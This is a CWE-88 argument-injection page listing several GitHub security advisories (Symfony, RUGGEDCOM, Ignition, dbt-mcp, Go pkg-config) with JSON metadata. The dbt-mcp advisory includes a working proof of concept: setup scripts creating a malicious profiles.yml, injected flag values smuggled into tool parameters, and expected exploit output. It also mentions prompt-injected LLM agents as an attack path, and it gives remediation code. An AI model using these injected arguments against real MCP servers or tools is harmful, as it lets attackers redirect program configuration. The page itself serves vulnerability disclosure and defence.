CWE-88
AllowedImproper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Abstraction: Base · Status: Draft
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
547 vulnerabilities reference this CWE, most recent first.
GHSA-XHH6-956Q-4Q69
Vulnerability from github – Published: 2019-12-02 18:08 – Updated: 2021-07-28 16:28An issue was discovered in Symfony 2.8.0 through 2.8.50, 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. If an application passes unvalidated user input as the file for which MIME type validation should occur, then arbitrary arguments are passed to the underlying file command. This is related to symfony/http-foundation (and symfony/mime in 4.3.x).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/http-foundation"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/http-foundation"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/http-foundation"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/http-foundation"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0"
},
{
"fixed": "4.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/mime"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0"
},
{
"fixed": "4.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "symfony/symfony"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0"
},
{
"fixed": "4.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-18888"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2019-12-01T19:46:13Z",
"nvd_published_at": "2019-11-21T23:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Symfony 2.8.0 through 2.8.50, 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. If an application passes unvalidated user input as the file for which MIME type validation should occur, then arbitrary arguments are passed to the underlying file command. This is related to symfony/http-foundation (and symfony/mime in 4.3.x).",
"id": "GHSA-xhh6-956q-4q69",
"modified": "2021-07-28T16:28:00Z",
"published": "2019-12-02T18:08:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18888"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/http-foundation/CVE-2019-18888.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2019-18888.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2019-18888.yaml"
},
{
"type": "WEB",
"url": "https://github.com/symfony/symfony/releases/tag/v4.3.8"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZNXRVHDQBNZQUCNRVZICPPBFRAUWUJX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VXEAOEANNIVYANTMOJ42NKSU6BGNBULZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZNXRVHDQBNZQUCNRVZICPPBFRAUWUJX"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UED22BOXTL2SSFMGYKA64ZFHGLLJG3EA"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VXEAOEANNIVYANTMOJ42NKSU6BGNBULZ"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/cve-2019-18888-prevent-argument-injection-in-a-mimetypeguesser"
},
{
"type": "WEB",
"url": "https://symfony.com/blog/symfony-4-3-8-released"
},
{
"type": "WEB",
"url": "https://symfony.com/cve-2019-18888"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Argument injection in a MimeTypeGuesser in Symfony"
}
GHSA-XJFJ-J4QJ-2X75
Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-12 12:32A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.17.1), RUGGEDCOM ROX MX5000RE (All versions < V2.17.1), RUGGEDCOM ROX RX1400 (All versions < V2.17.1), RUGGEDCOM ROX RX1500 (All versions < V2.17.1), RUGGEDCOM ROX RX1501 (All versions < V2.17.1), RUGGEDCOM ROX RX1510 (All versions < V2.17.1), RUGGEDCOM ROX RX1511 (All versions < V2.17.1), RUGGEDCOM ROX RX1512 (All versions < V2.17.1), RUGGEDCOM ROX RX1524 (All versions < V2.17.1), RUGGEDCOM ROX RX1536 (All versions < V2.17.1), RUGGEDCOM ROX RX5000 (All versions < V2.17.1). Affected devices do not properly validate input in the web server's JSON-RPC interface.
This could allow an authenticated remote attacker to read arbitrary files from the underlying operating system's filesystem with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-40948"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T10:16:43Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions \u003c V2.17.1), RUGGEDCOM ROX MX5000RE (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1400 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1500 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1501 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1510 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1511 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1512 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1524 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX1536 (All versions \u003c V2.17.1), RUGGEDCOM ROX RX5000 (All versions \u003c V2.17.1). Affected devices do not properly validate input in the web server\u0027s JSON-RPC interface.\n\nThis could allow an authenticated remote attacker to read arbitrary files from the underlying operating system\u0027s filesystem with root privileges.",
"id": "GHSA-xjfj-j4qj-2x75",
"modified": "2026-05-12T12:32:13Z",
"published": "2026-05-12T12:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40948"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-973901.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XMM9-72FG-HP8M
Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31Inductive Automation Ignition getParams Argument Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition. User interaction is required to exploit this vulnerability in that the target must connect to a malicious server.
The specific flaw exists within the getParams method. The issue results from the lack of proper validation of a user-supplied string before using it to prepare an argument for a system call. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22028.
{
"affected": [],
"aliases": [
"CVE-2023-50232"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:16:12Z",
"severity": "HIGH"
},
"details": "Inductive Automation Ignition getParams Argument Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Inductive Automation Ignition. User interaction is required to exploit this vulnerability in that the target must connect to a malicious server.\n\nThe specific flaw exists within the getParams method. The issue results from the lack of proper validation of a user-supplied string before using it to prepare an argument for a system call. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-22028.",
"id": "GHSA-xmm9-72fg-hp8m",
"modified": "2024-05-03T03:31:06Z",
"published": "2024-05-03T03:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50232"
},
{
"type": "WEB",
"url": "https://security.inductiveautomation.com/?tcuUid=fc4c4515-046d-4365-b688-693337449c5b"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-24-184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPWW-F6PM-CFHQ
Vulnerability from github – Published: 2026-05-14 18:24 – Updated: 2026-05-14 18:24Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.*
Summary
_run_dbt_command() in src/dbt_mcp/dbt_cli/tools.py constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags — such as --profiles-dir, --project-dir, and --target — by crafting the node_selection string (Vector 1) or the resource_type JSON array (Vector 2). Because subprocess.Popen is called with shell=False and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.
Details
Vector 1 — node_selection string
Affected tools: build, compile, run, test, clone, list, get_node_details_dev
# src/dbt_mcp/dbt_cli/tools.py lines 77–79
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
str.split(" ") does not distinguish dbt selector tokens from flag tokens. Input "my_model --profiles-dir /tmp/evil" produces:
["dbt", "--no-use-colors", "run",
"--select", "my_model", "--profiles-dir", "/tmp/evil"]
dbt parses the injected --profiles-dir as a global option and loads configuration from the attacker-supplied path.
Vector 2 — resource_type list
Affected tool: list
# src/dbt_mcp/dbt_cli/tools.py lines 84–85
if isinstance(resource_type, Iterable):
command.extend(["--resource-type"] + resource_type)
Each JSON array element is appended verbatim to argv. Input ["model", "--profiles-dir", "/tmp/evil"] produces:
["dbt", "--no-use-colors", "list",
"--resource-type", "model", "--profiles-dir", "/tmp/evil"]
Both vectors share the same root cause: no validation prevents tokens starting with - from being appended as independent argv elements.
PoC
1. Environment setup (run once)
# Attacker-controlled profile at an injectable path
mkdir -p /tmp/evil-profiles
cat > /tmp/evil-profiles/profiles.yml << 'EOF'
evil_profile:
target: dev
outputs:
dev:
type: duckdb
path: /tmp/PWNED_by_injection.duckdb
threads: 1
EOF
# Minimal dbt project whose profile name matches the malicious one
mkdir -p /tmp/test-dbt-project/models
cat > /tmp/test-dbt-project/dbt_project.yml << 'EOF'
name: test_project
version: '1.0.0'
profile: evil_profile
model-paths: ["models"]
models:
test_project:
+materialized: table
EOF
echo "select 1 as id" > /tmp/test-dbt-project/models/my_first_model.sql
rm -f /tmp/PWNED_by_injection.duckdb
2. MCP client exploit — triggers injection through the real protocol stack
#!/usr/bin/env python3
# poc_injection.py
# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py
import os, subprocess
from dataclasses import dataclass
from enum import Enum
from collections.abc import Iterable
class BinaryType(Enum):
DBT_CORE = "dbt_core"
@dataclass
class DbtCliConfig:
project_dir: str
dbt_path: str
dbt_cli_timeout: int
binary_type: BinaryType
def _run_dbt_command(config, command, node_selection=None, resource_type=None):
# Vector 1: vulnerable line from tools.py
if node_selection and isinstance(node_selection, str):
selector_params = node_selection.split(" ")
command.extend(["--select"] + selector_params)
# Vector 2: vulnerable line from tools.py
if isinstance(resource_type, Iterable) and resource_type is not None:
command.extend(["--resource-type"] + list(resource_type))
cwd = config.project_dir if os.path.isabs(config.project_dir) else None
args = [config.dbt_path, "--no-use-colors", *command]
print(f"[args] {args}")
proc = subprocess.Popen(args=args, cwd=cwd,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.DEVNULL, text=True)
out, _ = proc.communicate(timeout=config.dbt_cli_timeout)
return out or "OK"
config = DbtCliConfig("/tmp/test-dbt-project", "dbt", 30, BinaryType.DBT_CORE)
print("=" * 64)
print(" Vector 1 - node_selection injection")
print("=" * 64)
print(f"[input] node_selection = 'my_first_model --profiles-dir /tmp/evil-profiles'")
result1 = _run_dbt_command(config, ["run"],
node_selection="my_first_model --profiles-dir /tmp/evil-profiles")
print("[dbt output]"); print(result1)
print("=" * 64)
print(" Vector 2 - resource_type injection")
print("=" * 64)
print(f"[input] resource_type = ['model', '--profiles-dir', '/tmp/evil-profiles']")
result2 = _run_dbt_command(config, ["list"],
resource_type=["model", "--profiles-dir", "/tmp/evil-profiles"])
print("[dbt output]"); print(result2)
db = "/tmp/PWNED_by_injection.duckdb"
print("=" * 64)
if os.path.exists(db):
print(f"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)")
print("[CONFIRMED] dbt accepted the injected --profiles-dir flag.")
else:
print(f"[NOTE] {db} not found. Check dbt output above.")
print("=" * 64)
Expected server log (INFO level, src/dbt_mcp/mcp/server.py line 67):
[args] ['dbt', '--no-use-colors', 'run', '--select', 'my_first_model', '--profiles-dir', '/tmp/evil-profiles']
[args] ['dbt', '--no-use-colors', 'list', '--resource-type', 'model', '--profiles-dir', '/tmp/evil-profiles']
[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)
[CONFIRMED] dbt accepted the injected --profiles-dir flag.
The injected flags reach _run_dbt_command() unchanged and are passed verbatim to subprocess.Popen.
Screenshot
Impact
The following is directly demonstrated by the PoC above:
- An MCP client can inject arbitrary dbt global flags into
subprocess.Popen's argv list via eithernode_selectionorresource_type. --profiles-diris accepted by dbt as a global option, overriding the server's configured profile directory.- When an attacker-controlled
profiles.ymlexists at the injected path, dbt executes with the attacker's database configuration — demonstrated by the DuckDB file write to/tmp/PWNED_by_injection.duckdb.
Preconditions and scope: The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a profiles.yml accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond --profiles-dir include --project-dir and --target, which redirect dbt's project root and execution environment respectively.
Remediation
Vector 1 — validate each node_selection token before extending argv:
import re
# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:
_SAFE_TOKEN_RE = re.compile(r'^[\w.*+@,:\[\]/-]+$')
if node_selection and isinstance(node_selection, str):
tokens = node_selection.split(" ")
for token in tokens:
if not _SAFE_TOKEN_RE.match(token):
raise InvalidParameterError(
f"node_selection contains an invalid token: {token!r}. "
"Tokens must not begin with '-'."
)
command.extend(["--select"] + tokens)
Vector 2 — validate resource_type against an explicit allowlist:
_VALID_RESOURCE_TYPES = frozenset({
"model", "test", "snapshot", "analysis", "macro",
"operation", "seed", "source", "exposure", "metric",
"saved_query", "semantic_model", "unit_test",
})
if isinstance(resource_type, Iterable):
rt_list = list(resource_type)
invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]
if invalid:
raise InvalidParameterError(
f"resource_type contains unrecognised values: {invalid}. "
f"Allowed: {sorted(_VALID_RESOURCE_TYPES)}"
)
command.extend(["--resource-type"] + rt_list)
Hardening: Add pattern regex constraints to the Pydantic Field definitions for node_selection so that malformed inputs are rejected at the MCP schema layer before reaching _run_dbt_command(). Add regression tests in tests/unit/ with payloads containing --profiles-dir, --project-dir, and --target to prevent re-introduction.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "dbt-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44968"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T18:24:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "*Discovered through manual source code review. Verified by PoC execution against a local dbt-mcp v1.15.1 installation.**\n\n## Summary\n\n`_run_dbt_command()` in `src/dbt_mcp/dbt_cli/tools.py` constructs the dbt subprocess argument list by appending user-supplied MCP tool parameters without sanitization. Two independent injection vectors exist. An MCP client can inject arbitrary dbt global flags \u2014 such as `--profiles-dir`, `--project-dir`, and `--target` \u2014 by crafting the `node_selection` string (Vector 1) or the `resource_type` JSON array (Vector 2). Because `subprocess.Popen` is called with `shell=False` and a list argument, shell metacharacter injection is not possible; however, this provides no defense against argument list injection (CWE-88), where attacker-controlled tokens are interpreted by the target process as flags rather than values.\n\n## Details\n\n**Vector 1 \u2014 `node_selection` string**\nAffected tools: `build`, `compile`, `run`, `test`, `clone`, `list`, `get_node_details_dev`\n\n```python\n# src/dbt_mcp/dbt_cli/tools.py lines 77\u201379\nif node_selection and isinstance(node_selection, str):\n selector_params = node_selection.split(\" \")\n command.extend([\"--select\"] + selector_params)\n```\n\n`str.split(\" \")` does not distinguish dbt selector tokens from flag tokens. Input `\"my_model --profiles-dir /tmp/evil\"` produces:\n\n````\n[\"dbt\", \"--no-use-colors\", \"run\",\n \"--select\", \"my_model\", \"--profiles-dir\", \"/tmp/evil\"]\n````\n\ndbt parses the injected `--profiles-dir` as a global option and loads configuration from the attacker-supplied path.\n\n**Vector 2 \u2014 `resource_type` list**\nAffected tool: `list`\n\n```python\n# src/dbt_mcp/dbt_cli/tools.py lines 84\u201385\nif isinstance(resource_type, Iterable):\n command.extend([\"--resource-type\"] + resource_type)\n```\n\nEach JSON array element is appended verbatim to argv. Input `[\"model\", \"--profiles-dir\", \"/tmp/evil\"]` produces:\n\n````\n[\"dbt\", \"--no-use-colors\", \"list\",\n \"--resource-type\", \"model\", \"--profiles-dir\", \"/tmp/evil\"]\n````\n\nBoth vectors share the same root cause: no validation prevents tokens starting with `-` from being appended as independent argv elements.\n\n## PoC\n\n**1. Environment setup (run once)**\n\n```bash\n# Attacker-controlled profile at an injectable path\nmkdir -p /tmp/evil-profiles\ncat \u003e /tmp/evil-profiles/profiles.yml \u003c\u003c \u0027EOF\u0027\nevil_profile:\n target: dev\n outputs:\n dev:\n type: duckdb\n path: /tmp/PWNED_by_injection.duckdb\n threads: 1\nEOF\n\n# Minimal dbt project whose profile name matches the malicious one\nmkdir -p /tmp/test-dbt-project/models\ncat \u003e /tmp/test-dbt-project/dbt_project.yml \u003c\u003c \u0027EOF\u0027\nname: test_project\nversion: \u00271.0.0\u0027\nprofile: evil_profile\nmodel-paths: [\"models\"]\nmodels:\n test_project:\n +materialized: table\nEOF\necho \"select 1 as id\" \u003e /tmp/test-dbt-project/models/my_first_model.sql\n\nrm -f /tmp/PWNED_by_injection.duckdb\n```\n\n**2. MCP client exploit \u2014 triggers injection through the real protocol stack**\n\n```python\n#!/usr/bin/env python3\n# poc_injection.py\n# Reproduces _run_dbt_command() from src/dbt_mcp/dbt_cli/tools.py\n\nimport os, subprocess\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom collections.abc import Iterable\n\n\nclass BinaryType(Enum):\n DBT_CORE = \"dbt_core\"\n\n\n@dataclass\nclass DbtCliConfig:\n project_dir: str\n dbt_path: str\n dbt_cli_timeout: int\n binary_type: BinaryType\n\n\ndef _run_dbt_command(config, command, node_selection=None, resource_type=None):\n # Vector 1: vulnerable line from tools.py\n if node_selection and isinstance(node_selection, str):\n selector_params = node_selection.split(\" \")\n command.extend([\"--select\"] + selector_params)\n # Vector 2: vulnerable line from tools.py\n if isinstance(resource_type, Iterable) and resource_type is not None:\n command.extend([\"--resource-type\"] + list(resource_type))\n cwd = config.project_dir if os.path.isabs(config.project_dir) else None\n args = [config.dbt_path, \"--no-use-colors\", *command]\n print(f\"[args] {args}\")\n proc = subprocess.Popen(args=args, cwd=cwd,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n stdin=subprocess.DEVNULL, text=True)\n out, _ = proc.communicate(timeout=config.dbt_cli_timeout)\n return out or \"OK\"\n\n\nconfig = DbtCliConfig(\"/tmp/test-dbt-project\", \"dbt\", 30, BinaryType.DBT_CORE)\n\nprint(\"=\" * 64)\nprint(\" Vector 1 - node_selection injection\")\nprint(\"=\" * 64)\nprint(f\"[input] node_selection = \u0027my_first_model --profiles-dir /tmp/evil-profiles\u0027\")\nresult1 = _run_dbt_command(config, [\"run\"],\n node_selection=\"my_first_model --profiles-dir /tmp/evil-profiles\")\nprint(\"[dbt output]\"); print(result1)\n\nprint(\"=\" * 64)\nprint(\" Vector 2 - resource_type injection\")\nprint(\"=\" * 64)\nprint(f\"[input] resource_type = [\u0027model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\")\nresult2 = _run_dbt_command(config, [\"list\"],\n resource_type=[\"model\", \"--profiles-dir\", \"/tmp/evil-profiles\"])\nprint(\"[dbt output]\"); print(result2)\n\ndb = \"/tmp/PWNED_by_injection.duckdb\"\nprint(\"=\" * 64)\nif os.path.exists(db):\n print(f\"[CONFIRMED] {db} exists ({os.path.getsize(db)} bytes)\")\n print(\"[CONFIRMED] dbt accepted the injected --profiles-dir flag.\")\nelse:\n print(f\"[NOTE] {db} not found. Check dbt output above.\")\nprint(\"=\" * 64)\n```\n\n**Expected server log (INFO level, `src/dbt_mcp/mcp/server.py` line 67):**\n\n````\n\n[args] [\u0027dbt\u0027, \u0027--no-use-colors\u0027, \u0027run\u0027, \u0027--select\u0027, \u0027my_first_model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\n[args] [\u0027dbt\u0027, \u0027--no-use-colors\u0027, \u0027list\u0027, \u0027--resource-type\u0027, \u0027model\u0027, \u0027--profiles-dir\u0027, \u0027/tmp/evil-profiles\u0027]\n\n[CONFIRMED] /tmp/PWNED_by_injection.duckdb exists (274432 bytes)\n[CONFIRMED] dbt accepted the injected --profiles-dir flag.\n````\n\nThe injected flags reach `_run_dbt_command()` unchanged and are passed verbatim to `subprocess.Popen`.\n\n## Screenshot\n\n\u003cimg width=\"2810\" height=\"1894\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d407675a-3409-4799-a024-b8a335cb1fcc\" /\u003e\n\n### Impact\n\nThe following is directly demonstrated by the PoC above:\n\n- An MCP client can inject arbitrary dbt global flags into `subprocess.Popen`\u0027s argv list via either `node_selection` or `resource_type`.\n- `--profiles-dir` is accepted by dbt as a global option, overriding the server\u0027s configured profile directory.\n- When an attacker-controlled `profiles.yml` exists at the injected path, dbt executes with the attacker\u0027s database configuration \u2014 demonstrated by the DuckDB file write to `/tmp/PWNED_by_injection.duckdb`.\n\n**Preconditions and scope:** The attacker must be able to supply crafted MCP tool arguments (normal MCP client access) and must have a `profiles.yml` accessible at the injected path on the host running dbt-mcp. In the common local-development deployment model, a prompt-injected LLM agent sharing the filesystem can write this file before invoking the dbt tool. Additional injectable flags beyond `--profiles-dir` include `--project-dir` and `--target`, which redirect dbt\u0027s project root and execution environment respectively.\n\n### Remediation\n\n**Vector 1 \u2014 validate each `node_selection` token before extending argv:**\n\n```python\nimport re\n# dbt node selector syntax allows: identifiers, operators (+@*,), path globs, tag:, config:\n_SAFE_TOKEN_RE = re.compile(r\u0027^[\\w.*+@,:\\[\\]/-]+$\u0027)\n\nif node_selection and isinstance(node_selection, str):\n tokens = node_selection.split(\" \")\n for token in tokens:\n if not _SAFE_TOKEN_RE.match(token):\n raise InvalidParameterError(\n f\"node_selection contains an invalid token: {token!r}. \"\n \"Tokens must not begin with \u0027-\u0027.\"\n )\n command.extend([\"--select\"] + tokens)\n```\n\n**Vector 2 \u2014 validate `resource_type` against an explicit allowlist:**\n\n```python\n_VALID_RESOURCE_TYPES = frozenset({\n \"model\", \"test\", \"snapshot\", \"analysis\", \"macro\",\n \"operation\", \"seed\", \"source\", \"exposure\", \"metric\",\n \"saved_query\", \"semantic_model\", \"unit_test\",\n})\n\nif isinstance(resource_type, Iterable):\n rt_list = list(resource_type)\n invalid = [v for v in rt_list if v not in _VALID_RESOURCE_TYPES]\n if invalid:\n raise InvalidParameterError(\n f\"resource_type contains unrecognised values: {invalid}. \"\n f\"Allowed: {sorted(_VALID_RESOURCE_TYPES)}\"\n )\n command.extend([\"--resource-type\"] + rt_list)\n```\n\n**Hardening:** Add `pattern` regex constraints to the Pydantic `Field` definitions for `node_selection` so that malformed inputs are rejected at the MCP schema layer before reaching `_run_dbt_command()`. Add regression tests in `tests/unit/` with payloads containing `--profiles-dir`, `--project-dir`, and `--target` to prevent re-introduction.",
"id": "GHSA-xpww-f6pm-cfhq",
"modified": "2026-05-14T18:24:26Z",
"published": "2026-05-14T18:24:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-xpww-f6pm-cfhq"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbt-labs/dbt-mcp"
},
{
"type": "WEB",
"url": "https://github.com/dbt-labs/dbt-mcp/releases/tag/v1.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "dbt MCP Server has an Argument Injection in dbt CLI Tool Wrappers via node_selection and resource_type Parameters"
}
GHSA-XVQR-69V8-F3GV
Vulnerability from github – Published: 2026-01-28 21:31 – Updated: 2026-07-09 15:31Building a malicious file with cmd/go can cause can cause a write to an attacker-controlled file with partial control of the file content. The "#cgo pkg-config:" directive in a Go source file provides command-line arguments to provide to the Go pkg-config command. An attacker can provide a "--log-file" argument to this directive, causing pkg-config to write to an attacker-controlled location.
{
"affected": [],
"aliases": [
"CVE-2025-61731"
],
"database_specific": {
"cwe_ids": [
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-28T20:16:10Z",
"severity": "HIGH"
},
"details": "Building a malicious file with cmd/go can cause can cause a write to an attacker-controlled file with partial control of the file content. The \"#cgo pkg-config:\" directive in a Go source file provides command-line arguments to provide to the Go pkg-config command. An attacker can provide a \"--log-file\" argument to this directive, causing pkg-config to write to an attacker-controlled location.",
"id": "GHSA-xvqr-69v8-f3gv",
"modified": "2026-07-09T15:31:52Z",
"published": "2026-01-28T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61731"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:12118"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:5952"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:6949"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7291"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7385"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7833"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7834"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7876"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7877"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7878"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7879"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:7883"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:8448"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-61731"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2434433"
},
{
"type": "WEB",
"url": "https://go.dev/cl/736711"
},
{
"type": "WEB",
"url": "https://go.dev/issue/77100"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4339"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-61731.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:12282"
},
{
"type": "WEB",
